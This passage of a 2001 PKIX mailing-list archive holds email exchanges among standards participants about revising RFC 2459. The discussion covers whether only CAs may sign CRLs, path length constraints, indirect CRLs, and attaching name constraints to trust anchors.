SUBSTANTIAL context and additional technical content omitted for the sake of
brevity.  See the I-D for full details.  Specification subject to change.
Fasten seatbelts prior to takeoff.

Mike



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA16438 for <[e-mail]>; Fri, 2 Mar 2001 15:27:17 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA24221; Fri, 2 Mar 2001 18:27:28 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0501041bb6c5d7ea1b39@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Date: Fri, 2 Mar 2001 18:29:15 -0500
To: "David A. Cooper" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
Cc: [e-mail]
Content-Type: multipart/alternative; boundary="============_-1228546738==_ma============"

--============_-1228546738==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

David,

>Steve,
>
>From a policy point of view, it may make sense to say that only CAs 
>should be issuing CRLs, but what does this mean from a certificate 
>path processing point of view?

I have to admit that I have not thought as much about the path 
processing aspect of the issue.

>
>X.509 states "[t]he cA component indicates if the certified public 
>key may be used to verify certificate signatures". It says nothing 
>about CRLs. Similarly, as you note, RFC 2459 ties keyCertSign to CA 
>certificates but does do so with cRLSign. Are you arguing that we 
>should change the standards to require basicConstraints with cA=TRUE 
>in certificates that only authorize the use of the subject's public 
>key to verify signatures on CRLs? Or are you suggesting that a 
>certificate should be treated as a CA certificate if cRLSign is set 
>in keyUsage even if basicConstraints is absent?

I have always expected to see the CA flag set to true on a cert used 
to sign CRLs, but, as I noted in my message, a closer look at 2459 
fails to require that. Still, throughout most of the document we see 
references to CAs, not to EEs, with regard to CRL signing. If there 
was an intent to allow non-CAs to sign CRLs, we certainly did not 
make it clear.

Until we had the KeyUsage extension and the the certSign bit in v3 
certs, there was no doubt that only a CA could sign a CRL. It was not 
clear to me that X.509, or 2459, made a point of advertising that a 
feature of this extension, and of indirect CRLs, was to promote the 
signing of CRLs by other than a CA. Rereading the 259 text, I still 
have to say that is not a message that comes through.

>To be more specific, if we accept the idea that pathLenConstraint 
>should be computed differently depending on what type of certificate 
>the last one in the path is, should CA1's relying parties accept 
>CRLs issued by CA3 in the certification path below?
>
>CA1 ----------------------------> CA2 ----------------------------------> CA3
>	basicConstraints:				keyUsage:
>		cA=TRUE					cRLSign
>		pathLenConstraint=0
>
>		keyUsage:				CRLDistributionPoints:
>			keyCertSign, cRLSign		cRLIssuer: CA3
>

I would say no, if I understand your diagram. First, the cert from 
CA2 to CA3 does not say that CA3 is a CA! Also, if the distribution 
point extension is in the cert issued by CA2 to CA3, it is a 
statement about where to find the CA3 cert if it is ever revoked. If 
the distribution point were in certs issued by CA2 to EEs, then it 
would be saying that CA3 would be the issuer of these CRLs. But, look 
at the text below, from 2459

5.2.5  Issuing Distribution Point

    The issuing distribution point is a critical CRL extension 
identifies the CRL distribution point for a particular CRL, and it 
indicates whether the CRL covers revocation for end entity
certificates only, CA  certificates only, or a limitied set of reason 
codes.  Although the extension is critical, conforming 
implementations are not required to support this extension.

    The CRL is signed using the CA's private key.  CRL Distribution
    Points do not have their own key pairs.  If the CRL is stored in 
the X.500 Directory, it is stored in the Directory entry 
corresponding to the CRL distribution point, which may be different 
than the Directory entry of the CA.

This explicitly refers to the CRL being signed with a CA private key, 
not an EE private key.

Steve
--============_-1228546738==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: Open Issue in Part1: path length
constraints</title></head><body>
<div>David,</div>
<div><br></div>
<blockquote type="cite" cite>Steve,<br>
</blockquote>
<blockquote type="cite" cite>From a policy point of view, it may make
sense to say that only CAs should be issuing CRLs, but what does this
mean from a certificate path processing point of view?</blockquote>
<div><br></div>
<div>I have to admit that I have not thought as much about the path
processing aspect of the issue.</div>
<div><br></div>
<blockquote type="cite" cite><br>
X.509 states &quot;[t]he<font size="-1"> cA</font> component indicates
if the certified public key may be used to verify certificate
signatures&quot;. It says nothing about CRLs. Similarly, as you note,
RFC 2459 ties keyCertSign to CA certificates but does do so with
cRLSign. Are you arguing that we should change the standards to
require basicConstraints with cA=TRUE in certificates that only
authorize the use of the subject's public key to verify signatures on
CRLs? Or are you suggesting that a certificate should be treated as a
CA certificate if cRLSign is set in keyUsage even if basicConstraints
is absent?</blockquote>
<div><br></div>
<div>I have always expected to see the CA flag set to true on a cert
used to sign CRLs, but, as I noted in my message, a closer look at
2459 fails to require that. Still, throughout most of the document we
see references to CAs, not to EEs, with regard to CRL signing. If
there was an intent to allow non-CAs to sign CRLs, we certainly did
not make it clear.</div>
<div><br></div>
<div>Until we had the KeyUsage extension and the the certSign bit in
v3 certs, there was no doubt that only a CA could sign a CRL. It was
not clear to me that X.509, or 2459, made a point of advertising that
a feature of this extension, and of indirect CRLs, was to promote the
signing of CRLs by other than a CA. Rereading the 259 text, I still
have to say that is not a message that comes through.</div>
<div><br></div>
<blockquote type="cite" cite>To be more specific, if we accept the
idea that pathLenConstraint should be computed differently depending
on what type of certificate the last one in the path is, should CA1's
relying parties accept CRLs issued by CA3 in the certification path
below?<br>
<br>
<tt>CA1 ----------------------------&gt; CA2
----------------------------------&gt; CA3<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>basicConstraints:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>keyUsage:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>cA=TRUE<x-tab>
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>cRLSign<br>
<x-tab> </x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>pathLenConstraint=0<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>keyUsage:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CRLDistributionPoints:</tt></blockquote>
<blockquote type="cite"
cite><tt><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>keyCertSign, cRLSign<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>cRLIssuer: CA3</tt><br>
<tt></tt></blockquote>
<div><tt><br></tt></div>
<div><tt>I would say no, if I understand your diagram. First, the cert
from CA2 to CA3 does not say that CA3 is a CA! Also, if the
distribution point extension is in the cert issued by CA2 to CA3, it
is a statement about where to find the CA3 cert if it is ever revoked.
If the distribution point were in certs issued by CA2 to EEs, then it
would be saying that CA3 would be the issuer of these CRLs. But, look
at the text below, from 2459</tt></div>
<div><tt><br></tt></div>
<div><font face="Courier" size="+2" color="#000000">5.2.5&nbsp;
Issuing Distribution Point</font><br>
<font face="Courier" size="+2" color="#000000"></font></div>
<div><font face="Courier" size="+2" color="#000000">&nbsp;&nbsp; The
issuing distribution point is a critical CRL extension&nbsp;
identifies the CRL distribution point for a particular CRL, and it
indicates whether the CRL covers revocation for end
entity</font></div>
<div><font face="Courier" size="+2" color="#000000">certificates only,
CA&nbsp; certificates only, or a limitied set of reason codes.&nbsp;
Although the extension is critical, conforming implementations are not
required to support this extension.</font></div>
<div><font face="Courier" size="+2" color="#000000"><br>
&nbsp;&nbsp; The CRL is signed using the CA's private key.&nbsp; CRL
Distribution</font></div>
<div><font face="Courier" size="+2" color="#000000">&nbsp;&nbsp;
Points do not have their own key pairs.&nbsp; If the CRL is stored in
the X.500 Directory, it is stored in the Directory entry corresponding
to the CRL distribution point, which may be different than the
Directory entry of the CA.</font></div>
<div><tt><br></tt></div>
<div>This explicitly refers to the CRL being signed with a CA private
key, not an EE private key.</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1228546738==_ma============--


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA15662 for <[e-mail]>; Fri, 2 Mar 2001 15:10:07 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id SAA04211 for <[e-mail]>; Fri, 2 Mar 2001 18:10:09 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Fri, 02 Mar 2001 18:09:57 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: WG Last Call: Son-of-2459
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <p05010410b6c5c23a028b@[128.33.4.39]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 05:34 PM 3/2/01 -0500, Steve Hanna wrote:
>I certainly don't mind if son-of-2459 says implementations MAY support
>name constraints on trust anchors. I just don't want to have it as a
>SHOULD or a MUST.

I would certainly agree with this. I like the idea of adding initial name constraints values as input to the path validation algorithm, since otherwise they would be the only state variables whose initial values can not be set by the relying party. However, this should in no way be a SHOULD or a MUST.

Section 6.1.1 specifies several inputs to the path validation algorithm and then describes the results of path validation as a function of these inputs. I don't think there is anything in section 6 that states that all of these inputs must be user configurable. If the text does suggest otherwise, then it should be changed.

For example, one of the inputs is "the time, T, for which the validity of the path should be determined." I think it would be perfectly valid for an implementation not accept this input, but instead to always determine the validity of the path at the current time. Similarly, an implementation could choose to "hard-code in" the values for initial-policy-mapping-inhibit, initial-explicit-policy, and initial-any-policy-inhibit. So, even if son-of-2459 adds the adds initial name constraints as an input, there would be no requirement for implementations to allow for inputs other than "all permitted, none excluded". Changing section 6.1.1 would only provide a new option, not impose a new requirement.

Dave



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA14919 for <[e-mail]>; Fri, 2 Mar 2001 15:02:26 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA22883; Fri, 2 Mar 2001 18:02:36 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0501041ab6c5d54e7e2a@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>	 <[e-mail]> <[e-mail]> <p05010410b6c5c23a028b@[128.33.4.39]> <[e-mail]>
Date: Fri, 2 Mar 2001 18:04:15 -0500
To: Steve Hanna <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: WG Last Call: Son-of-2459
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Steve,

>Steve,
>
>I certainly agree with you that name constraints (along with policy
>constraints) are critically important in PKIs that make extensive use of
>cross certification. The U.S. Government's Federal Bridge CA (currently
>in a pilot stage) includes name constraints in cross certificates that
>it issues and I expect that CAs will do this more frequently as cross
>certification increases.
>
>However, I don't agree that it's important to let end-users associate
>name constraints with trust anchors. Few end-users even understand what
>a trust anchor is. The number of end-users that could properly assign
>name constraints to each trust anchor is much smaller, still. When I
>talk with browser vendors, they say that PKI must become simpler, not
>harder!

Bwoeser vendors have a very poor track record re offering appropriate 
controls for user management of certs, and the complete lack of 
management knobs for trust anchors is appalling. I understand the 
motivation here, I think that's one reason why we see such interest 
in DPV, but, as I note in the last paragraph, providing a control 
that's not invoked by most users need not make their lives more 
complex.  As a Mac user, I see a fair number of software modules that 
have novice user controls, but with (slightly hidden) advanced user 
controls as well.

>A better and more practical way to achieve the same end is for the
>end-user to have a single trust anchor (the corporate or departmental
>CA) and have that CA issue cross-certificates with name constraints.
>This allows the administrator to manage all the name constraints (as
>well as policy mappings and other policy constraints, which may be
>necessary in a cross-certification environment).

I like that approach too, and said as much a while ago, but was 
talked out of it.

>If the user is really paranoid, they can set up their own CA and use
>that as their trust anchor. Anyone sophisticated enough to configure
>name constraints is sophisticated enough to run their own CA. And there
>are plenty of free CA software packages out there that are perfectly
>adequate for issuing a few cross-certificates with name constraints.

It's a big step to go from managing name constraints for a few trust 
anchors to becoming one's own CA in order to manage these validation 
parameters, but I agree that in some cases one might do this.

>I certainly don't mind if son-of-2459 says implementations MAY support
>name constraints on trust anchors. I just don't want to have it as a
>SHOULD or a MUST.

If one mandates such support in products, but users choose not to 
make use of it, then their lives are unaffected. It's the vendors who 
have to do more work, but is that extra work significant relative to 
the rest of the cert processing implementation? I'm not convinced 
that it is.

Steve


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA14257 for <[e-mail]>; Fri, 2 Mar 2001 14:57:20 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id RAA21174 for <[e-mail]>; Fri, 2 Mar 2001 17:57:21 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Fri, 02 Mar 2001 17:57:06 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
In-Reply-To: <p05010411b6c5c3a35769@[128.33.4.39]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=====================_33758381==_.ALT"

--=====================_33758381==_.ALT
Content-Type: text/plain; charset="us-ascii"

Steve,

 From a policy point of view, it may make sense to say that only CAs should be issuing CRLs, but what does this mean from a certificate path processing point of view?

X.509 states "[t]he cA component indicates if the certified public key may be used to verify certificate signatures". It says nothing about CRLs. Similarly, as you note, RFC 2459 ties keyCertSign to CA certificates but does do so with cRLSign. Are you arguing that we should change the standards to require basicConstraints with cA=TRUE in certificates that only authorize the use of the subject's public key to verify signatures on CRLs? Or are you suggesting that a certificate should be treated as a CA certificate if cRLSign is set in keyUsage even if basicConstraints is absent?

To be more specific, if we accept the idea that pathLenConstraint should be computed differently depending on what type of certificate the last one in the path is, should CA1's relying parties accept CRLs issued by CA3 in the certification path below?

CA1 ----------------------------> CA2 ----------------------------------> CA3
         basicConstraints:                               keyUsage:
                 cA=TRUE                                 cRLSign
                 pathLenConstraint=0 

                 keyUsage:                               CRLDistributionPoints:
                         keyCertSign, cRLSign            cRLIssuer: CA3



At 04:48 PM 3/2/01 -0500, Stephen Kent wrote:
>I am too bothered by the emergence of the notion that entities other than  CAs issues CRLs. I reread 2459 and it does not seem to make a case for this, although I did note that the CRLSign bit in key usage did not limit its use to CAs, even though the KeyCertSign bit is so restricted. But 5.2.5 (the CRL distribution point extension) does say: "The CRL is signed using the CA's private key" and that certainly argues for what I would consider the usual interpretation, i.e., only CAs sign CRLs.


--=====================_33758381==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Steve,<br>
<br>
 From a policy point of view, it may make sense to say that only CAs
should be issuing CRLs, but what does this mean from a certificate path
processing point of view?<br>
<br>
X.509 states &quot;[t]he <font size=2>cA</font> component indicates if
the certified public key may be used to verify certificate
signatures&quot;. It says nothing about CRLs. Similarly, as you note, RFC
2459 ties keyCertSign to CA certificates but does do so with cRLSign. Are
you arguing that we should change the standards to require
basicConstraints with cA=TRUE in certificates that only authorize the use
of the subject's public key to verify signatures on CRLs? Or are you
suggesting that a certificate should be treated as a CA certificate if
cRLSign is set in keyUsage even if basicConstraints is absent?<br>
<br>
To be more specific, if we accept the idea that pathLenConstraint should
be computed differently depending on what type of certificate the last
one in the path is, should CA1's relying parties accept CRLs issued by
CA3 in the certification path below?<br>
<br>
<tt>CA1 ----------------------------&gt; CA2
----------------------------------&gt; CA3<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>basicConstraints:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyUsage:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cA=TRUE<x-tab>&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cRLSign<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>pathLenConstraint=0
<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyUsage:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>CRLDistributionPoints:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyCertSign,
cRLSign<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cRLIssuer:
CA3<br>
<br>
<br>
<br>
</tt>At 04:48 PM 3/2/01 -0500, Stephen Kent wrote:<br>
<blockquote type=cite cite>I am too bothered by the emergence of the
notion that entities other than&nbsp; CAs issues CRLs. I reread 2459 and
it does not seem to make a case for this, although I did note that the
CRLSign bit in key usage did not limit its use to CAs, even though the
KeyCertSign bit is so restricted. But 5.2.5 (the CRL distribution point
extension) does say: &quot;<font face="Courier, Courier" size=5>The CRL
is signed using the CA's private key&quot;</font> and that certainly
argues for what I would consider the usual interpretation, i.e., only CAs
sign CRLs.</blockquote><br>
</html>

--=====================_33758381==_.ALT--



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA13636 for <[e-mail]>; Fri, 2 Mar 2001 14:51:56 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id RAA22032; Fri, 2 Mar 2001 17:52:03 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010418b6c5d2b1e106@[128.33.4.39]>
In-Reply-To:  <[e-mail]>
References:  <[e-mail]>
Date: Fri, 2 Mar 2001 17:50:43 -0500
To: Ambarish Malpani <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Cc: [e-mail]
Content-Type: multipart/alternative; boundary="============_-1228548864==_ma============"

--============_-1228548864==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Ambarish,

>Hi Steve,
>     Is there anything that restricts indirect CRL issuance only
>to CAs? I think the concept of an entity other than the CA
>issuing CRLs is reasonably old.
>

Well, 5.3.4 (the indirect CRL section) of 2459 says:


    This CRL entry extension identifies the certificate issuer 
associated with an entry in an indirect CRL, i.e. a CRL that has the 
indirectCRL indicator set in its issuing distribution point 
extension. If this extension is not present on the first entry in an 
indirect CRL, the certificate issuer defaults to the CRL issuer. On 
subsequent entries in an indirect CRL, if this extension is not 
present, the certificate issuer for the entry is the same as that for 
the preceding entry.
    This field is defined as follows:

    id-ce-certificateIssuer   OBJECT IDENTIFIER ::= { id-ce 29 }

    certificateIssuer ::=     GeneralNames

    If used by conforming CAs that issue CRLs, this extension is 
always critical.  If an implementation ignored this extension it 
could not correctly attribute CRL entries to certificates.  This 
specification RECOMMENDS that implementations recognize this 
extension.

The text avoids referring to a CA as the indirect CRL issuer at 
first, but then refers to conforming CAs in the last paragraph. If 
something other than a CA issues an indirect CRL, or any kind of CRL, 
then the wording used throughout 2459 seems to not apply to such an 
entity, because we almost always seem to come back to phrases like 
"if used by a fonforming CA ..." The best rationale I've usually 
heard for indirect CRLs has been for one CA to issue a CRL for 
another, e.g., if the latter CA looses the ability to issue CRLs to 
to destruction of its private key.

Steve
--============_-1228548864==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>RE: Open Issue in Part1: path length
constraints</title></head><body>
<div>Ambarish,</div>
<div><br></div>
<blockquote type="cite" cite>Hi Steve,<br>
&nbsp;&nbsp;&nbsp; Is there anything that restricts indirect CRL
issuance only<br>
to CAs? I think the concept of an entity other than the
CA</blockquote>
<blockquote type="cite" cite>issuing CRLs is reasonably old.<br>
</blockquote>
<div><br></div>
<div>Well, 5.3.4 (the indirect CRL section) of 2459 says:</div>
<div><br></div>
<div><font face="Times New Roman" size="+1"
color="#000000"><br></font></div>
<div><font face="Courier" size="+2" color="#000000">&nbsp;&nbsp; This
CRL entry extension identifies the certificate issuer associated with
an entry in an indirect CRL, i.e. a CRL that has the indirectCRL
indicator set in its issuing distribution point extension. If this
extension is not present on the first entry in an indirect CRL, the
certificate issuer defaults to the CRL issuer. On subsequent entries
in an indirect CRL, if this extension is not present, the certificate
issuer for the entry is the same as that for the preceding
entry.</font></div>
<div><font face="Courier" size="+2" color="#000000">&nbsp;&nbsp; This
field is defined as follows:<br>
<br>
&nbsp;&nbsp; id-ce-certificateIssuer&nbsp;&nbsp; OBJECT IDENTIFIER ::=
{ id-ce 29 }<br>
<br>
&nbsp;&nbsp; certificateIssuer ::=&nbsp;&nbsp;&nbsp;&nbsp;
GeneralNames</font><br>
<font face="Courier" size="+2" color="#000000"></font></div>
<div><font face="Courier" size="+2" color="#000000">&nbsp;&nbsp; If
used by conforming CAs that issue CRLs, this extension is always
critical.&nbsp; If an implementation ignored this extension it could
not correctly attribute CRL entries to certificates.&nbsp; This
specification RECOMMENDS that implementations recognize this
extension.</font></div>
<div><font face="Courier" size="+2" color="#000000"><br></font></div>
<div>The text avoids referring to a CA as the indirect CRL issuer at
first, but then refers to conforming CAs in the last paragraph. If
something other than a CA issues an indirect CRL, or any kind of CRL,
then the wording used throughout 2459 seems to not apply to such an
entity, because we almost always seem to come back to phrases like
&quot;if used by a fonforming CA ...&quot; The best rationale I've
usually heard for indirect CRLs has been for one CA to issue a CRL for
another, e.g., if the latter CA looses the ability to issue CRLs to to
destruction of its private key.</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1228548864==_ma============--


Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA12443 for <[e-mail]>; Fri, 2 Mar 2001 14:38:17 -0800 (PST)
Received: from sunlabs.East.Sun.COM ([129.148.75.250]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA22544; Fri, 2 Mar 2001 14:38:20 -0800 (PST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA15602; Fri, 2 Mar 2001 17:38:18 -0500 (EST)
Message-ID: <[e-mail]>
Date: Fri, 02 Mar 2001 17:34:54 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Kent <[e-mail]>
CC: [e-mail]
Subject: Re: WG Last Call: Son-of-2459
References: <[e-mail]> <[e-mail]> <[e-mail]> <p05010410b6c5c23a028b@[128.33.4.39]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve,

I certainly agree with you that name constraints (along with policy
constraints) are critically important in PKIs that make extensive use of
cross certification. The U.S. Government's Federal Bridge CA (currently
in a pilot stage) includes name constraints in cross certificates that
it issues and I expect that CAs will do this more frequently as cross
certification increases.

However, I don't agree that it's important to let end-users associate
name constraints with trust anchors. Few end-users even understand what
a trust anchor is. The number of end-users that could properly assign
name constraints to each trust anchor is much smaller, still. When I
talk with browser vendors, they say that PKI must become simpler, not
harder!

A better and more practical way to achieve the same end is for the
end-user to have a single trust anchor (the corporate or departmental
CA) and have that CA issue cross-certificates with name constraints.
This allows the administrator to manage all the name constraints (as
well as policy mappings and other policy constraints, which may be
necessary in a cross-certification environment).

If the user is really paranoid, they can set up their own CA and use
that as their trust anchor. Anyone sophisticated enough to configure
name constraints is sophisticated enough to run their own CA. And there
are plenty of free CA software packages out there that are perfectly
adequate for issuing a few cross-certificates with name constraints.

I certainly don't mind if son-of-2459 says implementations MAY support
name constraints on trust anchors. I just don't want to have it as a
SHOULD or a MUST.

-Steve

Stephen Kent wrote:
> 
> Steve,
> 
> I agree with most of the comments you have made re revisions to 2459,
> but I do disagree with the discussion if name constraints and its use
> in the validation algorithm.  I think that name constraints are
> critically important in PKIs that make extensive use of cross
> certification. Yet, as you note, they are no commonly used so far. I
> think that making provision to associate name constraints with trust
> anchors is a good way to let users (or administrators) locally manage
> the concerns that this extension addresses, without having to
> persuade CAs to issue cross certs with such constraints.  In fact, I
> was persuaded to drop my proposal for local issuance of such cross
> certs because of the inclusion of this facility as a control measure
> on the validation process.
> 
> This will become more than a local implementation issue, as we
> continue with the DPV/DPD work.  My current draft of the message
> syntax for requests calls for inclusion of name constraints as a
> validation control parameter, a protocol feature motivated by the
> notion that name constraints would become a standard part of the
> validation algorithm.
> 
> Steve


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA11476 for <[e-mail]>; Fri, 2 Mar 2001 14:31:06 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Fri, 2 Mar 2001 14:31:09 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]> for [e-mail]; Fri, 02 Mar 2001 14:31:09 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GJT8F>; Fri, 02 Mar 2001 14:25:17 -0800
Content-return: allowed
Date: Fri, 02 Mar 2001 14:25:17 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
To: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
